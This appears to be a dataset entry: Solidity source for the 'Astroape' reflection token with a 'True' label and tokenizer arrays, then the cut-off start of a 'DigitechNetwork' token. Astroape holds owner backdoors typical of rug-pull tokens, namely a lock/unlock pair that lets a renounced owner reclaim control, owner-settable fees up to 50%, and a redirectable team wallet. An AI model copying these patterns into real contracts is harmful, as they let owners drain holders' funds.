* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// Contract implementation
contract Astroape is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Astroape';
string private _symbol = 'AAPE';
uint8 private _decimals = 9;
// Tax and team fees will start at 0 so we don't have a big impact when deploying to Uniswap
// Team wallet address is null but the method to set the address is exposed
uint256 private _taxFee = 10;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousTeamFee = _teamFee;
address payable public _teamWalletAddress;
address payable public _marketingWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
uint256 private _maxTxAmount = 100000000000000e9;
// We will set a minimum amount of tokens to be swaped => 5M
uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable teamWalletAddress, address payable marketingWalletAddress) public {
_teamWalletAddress = teamWalletAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousTeamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousTeamFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular team event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToTeam(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and team fee
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToTeam(uint256 amount) private {
_teamWalletAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToTeam(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25');
_taxFee = taxFee;
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_teamFee = teamFee;
}
function _setTeamWallet(address payable teamWalletAddress) external onlyOwner() {
_teamWalletAddress = teamWalletAddress;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9');
_maxTxAmount = maxTxAmount;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5718,
1011,
2260,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5840,
1011,
2603,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.23;
/*
* ==========================================================================================
* @title: Digitech.Network
* @website: https://digitech.network
* @telegram: https://t.me/DigitechNetwork
* @twitter: https://twitter.com/DigitechNetwork
* DEX Token will be used for paying transaction, collecting airdrop campains,
* order contract func, creating auction...
* ==========================================================================================
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address target) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address target, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed target, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 m, uint256 n) internal pure returns (uint256) {
uint256 a = add(m, n);
uint256 b = sub(a, 1);
return mul(div(b, n), n);
}
}
contract ERC20implemented is IERC20 {
uint8 public _decimal;
string public _name;
string public _symbol;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_decimal = decimals;
_name = name;
_symbol = symbol;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimal;
}
}
contract DigitechNetwork is ERC20implemented {
using SafeMath for uint256;
mapping (address => uint256) public _DGCBalance;
mapping (address => mapping (address => uint256)) public _allowed;
string constant TOKEN_NAME = "Digitech.Network";
string constant TOKEN_SYMBOL = "DGC";
uint8 constant TOKEN_DECIMAL = 18;
uint256 constant MAX_SUPPLY = 33333;
uint256 constant MAX_REMAIN = 8888;
uint256 constant BURN_RATE = 100; //1%
uint256 _totalSupply = MAX_SUPPLY * 10 ** uint256(TOKEN_DECIMAL);
address constant RWALLET = 0xF212A3A9a201B8Ced41AaF783942285E928988ae;
constructor() public payable ERC20implemented(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMAL) {
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _DGCBalance[owner];
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _DGCBalance[msg.sender]);
require(to != address(0));
uint256 _d = value.div(BURN_RATE);
uint256 a = _totalSupply - MAX_REMAIN * 10 ** uint256(TOKEN_DECIMAL);
if (a <= 0) {
_d = 0;
}else if (a < _d){
_d = a;
}
uint256 _transfer = value.sub(_d);
